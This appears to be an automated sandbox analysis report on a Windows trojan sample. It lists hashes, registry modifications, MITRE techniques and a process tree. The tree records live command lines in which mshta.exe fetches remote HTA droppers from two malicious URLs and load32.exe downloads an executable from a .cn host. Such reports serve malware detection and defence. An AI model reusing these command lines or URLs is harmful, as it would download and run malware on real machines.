8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3

Analysis

max time kernel
122s
max time network
156s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
01-12-2022 21:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe
Size

31KB
MD5

5f8ea64b83d41b4bcea80bf32ae63d12
SHA1

83170d02b320edb1515dca471285ede69b21f4a1
SHA256

8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3
SHA512

90a88bf5f1d679b1ba5d9513561ea9d0b04340fd1aa6d768126d47e774d3533c473fcdc34f0018213c7fa5985d720ff02a1ce48947c734680871357f54153dd7
SSDEEP

768:5LYTkV5ms+JsN9TEzmrB12o0Of6GGkll1hh:lVksus7TESr72o0Oip+l1j

Score

10^/10

evasion trojan upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://crusade-affiliates.com/install.php?id=3c3d01f7ff6560e1f038e07d052d60d4

Extracted

Language

hta

Source

URLs

hta.dropper

http://urodinam.net/dfgsdfsdf.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1988	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
1752	load32.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1816-55-0x0000000000400000-0x0000000000418000-memory.dmp	upx
behavioral1/memory/1816-67-0x0000000000400000-0x0000000000418000-memory.dmp	upx

Loads dropped DLL 2 IoCs

pid	Process
1956	cmd.exe
1956	cmd.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 38 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000092cac3b60de0ea4a9adb44300dd8257b000000000200000000001066000000010000200000007d034ed36ae542b6a6594040fab091d46fd833fad08483692108af27e4a6ecd7000000000e800000000200002000000002cafeefd24a18fa7c64e625d56ecc3c961748b8f997284a6fe5b09e49c44bed20000000c1e16624e93b404a780f1f8e20f9c2179867affd71c245d18eda043174c23ca740000000ffc73de230e95dd99a138db2d4739318fa4b4ea13a52f33f81302e71a41a4c786ecfa6f2cd5c28beda3bd2bc5b46483e333dff2be4c948530257da57a4807da4	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000092cac3b60de0ea4a9adb44300dd8257b00000000020000000000106600000001000020000000c2abc8265e891b42a462e32eb069003c5f5a8992a72e060847beda5826fa726b000000000e8000000002000020000000ffcfee3a3d1a1b8c6a7461059d2f2662daa3815b297afdcd97dd1a5fcfaea90990000000b042e2e475fc6e6331773877cbc31e57926a708a1b6f3e7239a4ea0e7d2deb8e85ac39df73efdb5c5e3aed4a72b35c9a2c54e6c6b53e436bc0c8b147ae935a7e8f26b3bf4dc2c90882b0ff207ed285c8d86f7b97b058b49153ed4a139d7fca9ca65698999e3090c3f7b122ba8741297b8d4fb06e71c1101376dde0d1358de74cdfb422676d979c3927ec0535de1191fa4000000066b8ea4d9130925b22f42083332d94ed994508adf2494047febadd9cf8288686d61945a61b8ce99780392337878c5a48b61787f5ce1bacba65389ac6b0c98f67	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0c0dc16a307d901	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{3B815E01-7396-11ED-8FA0-42A98B637845} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376897437"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1916	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1916	iexplore.exe
1916	iexplore.exe
240	IEXPLORE.EXE
240	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 2012	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	27
PID 1816 wrote to memory of 2012	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	27
PID 1816 wrote to memory of 2012	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	27
PID 1816 wrote to memory of 2012	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	27
PID 1816 wrote to memory of 1988	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	28
PID 1816 wrote to memory of 1988	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	28
PID 1816 wrote to memory of 1988	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	28
PID 1816 wrote to memory of 1988	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	28
PID 1816 wrote to memory of 1956	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	29
PID 1816 wrote to memory of 1956	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	29
PID 1816 wrote to memory of 1956	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	29
PID 1816 wrote to memory of 1956	1816	8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe	29
PID 1956 wrote to memory of 1752	1956	cmd.exe	31
PID 1956 wrote to memory of 1752	1956	cmd.exe	31
PID 1956 wrote to memory of 1752	1956	cmd.exe	31
PID 1956 wrote to memory of 1752	1956	cmd.exe	31
PID 1916 wrote to memory of 240	1916	iexplore.exe	36
PID 1916 wrote to memory of 240	1916	iexplore.exe	36
PID 1916 wrote to memory of 240	1916	iexplore.exe	36
PID 1916 wrote to memory of 240	1916	iexplore.exe	36
PID 1916 wrote to memory of 1652	1916	iexplore.exe	37
PID 1916 wrote to memory of 1652	1916	iexplore.exe	37
PID 1916 wrote to memory of 1652	1916	iexplore.exe	37
PID 1916 wrote to memory of 1652	1916	iexplore.exe	37

C:\Users\Admin\AppData\Local\Temp\8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe
"C:\Users\Admin\AppData\Local\Temp\8685b10a305b1cf9d877259e60d0bca62d3f74483671f0f9a4e0504cb2baa7a3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://crusade-affiliates.com/install.php?id=3c3d01f7ff6560e1f038e07d052d60d4
  2⤵
  - Modifies Internet Explorer settings
  PID:2012
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://urodinam.net/dfgsdfsdf.php
  2⤵
  - Blocklisted process makes network request
  - Checks whether UAC is enabled
  - Modifies Internet Explorer settings
  PID:1988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpp.bat" "
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Users\Admin\AppData\Local\Temp\load32.exe
    C:\Users\Admin\AppData\Local\Temp\load32.exe http://0ni9o1s3feu60.cn/u4.exe C:\Users\Admin\AppData\Local\Temp\safety.exe
    3⤵
    - Executes dropped EXE
    PID:1752

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1916 CREDAT:275457 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of SetWindowsHookEx
  PID:240
- C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1916 CREDAT:472068 /prefetch:2
  2⤵
  - Modifies Internet Explorer settings
  PID:1652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\load32.exe

Filesize
4KB

MD5
af40555f69da106abd8544c015d6616c

SHA1
dab2bbe6bdfad2d659a54f074985b9c47fe082b8

SHA256
5471f76a02fc0252cf9d79ae893e1b8d5635807f63cbd138ad05247f2ffce81b

SHA512
d3b773299bdff6b96a2480799ba28495e80d5deac9aca5c9f9310155b289a6ea8d4daab861500344bb277a90dc6e43f22bbd81de3c25088bd9a2946fc9e90bdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\load32.exe

Filesize
4KB

MD5
af40555f69da106abd8544c015d6616c

SHA1
dab2bbe6bdfad2d659a54f074985b9c47fe082b8

SHA256
5471f76a02fc0252cf9d79ae893e1b8d5635807f63cbd138ad05247f2ffce81b

SHA512
d3b773299bdff6b96a2480799ba28495e80d5deac9aca5c9f9310155b289a6ea8d4daab861500344bb277a90dc6e43f22bbd81de3c25088bd9a2946fc9e90bdb

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpp.bat

Filesize
530B

MD5
f77fb91e50bcc2898a78ef1462436ac4

SHA1
ea8be4243028d2a89043a5b64c1dd07460da6a9c

SHA256
7f3c2b73078001c6bfbdfa61d8d1f62822bae52dcd2726def766751bdc997d77

SHA512
5dfe1f934a015d4a1bda01530e6fe2d986a3fcbc5c1b709ca1fa76fb9386311cf318bf85def9364eda0e53ca241c155c057c9c8759b3bb49f272c81f4416ab78

Download Submit
\Users\Admin\AppData\Local\Temp\load32.exe

Filesize
4KB

MD5
af40555f69da106abd8544c015d6616c

SHA1
dab2bbe6bdfad2d659a54f074985b9c47fe082b8

SHA256
5471f76a02fc0252cf9d79ae893e1b8d5635807f63cbd138ad05247f2ffce81b

SHA512
d3b773299bdff6b96a2480799ba28495e80d5deac9aca5c9f9310155b289a6ea8d4daab861500344bb277a90dc6e43f22bbd81de3c25088bd9a2946fc9e90bdb

Download Submit
\Users\Admin\AppData\Local\Temp\load32.exe

Filesize
4KB

MD5
af40555f69da106abd8544c015d6616c

SHA1
dab2bbe6bdfad2d659a54f074985b9c47fe082b8

SHA256
5471f76a02fc0252cf9d79ae893e1b8d5635807f63cbd138ad05247f2ffce81b

SHA512
d3b773299bdff6b96a2480799ba28495e80d5deac9aca5c9f9310155b289a6ea8d4daab861500344bb277a90dc6e43f22bbd81de3c25088bd9a2946fc9e90bdb

Download Submit
memory/1816-54-0x00000000756A1000-0x00000000756A3000-memory.dmp

Filesize
8KB

Download
memory/1816-55-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/1816-67-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads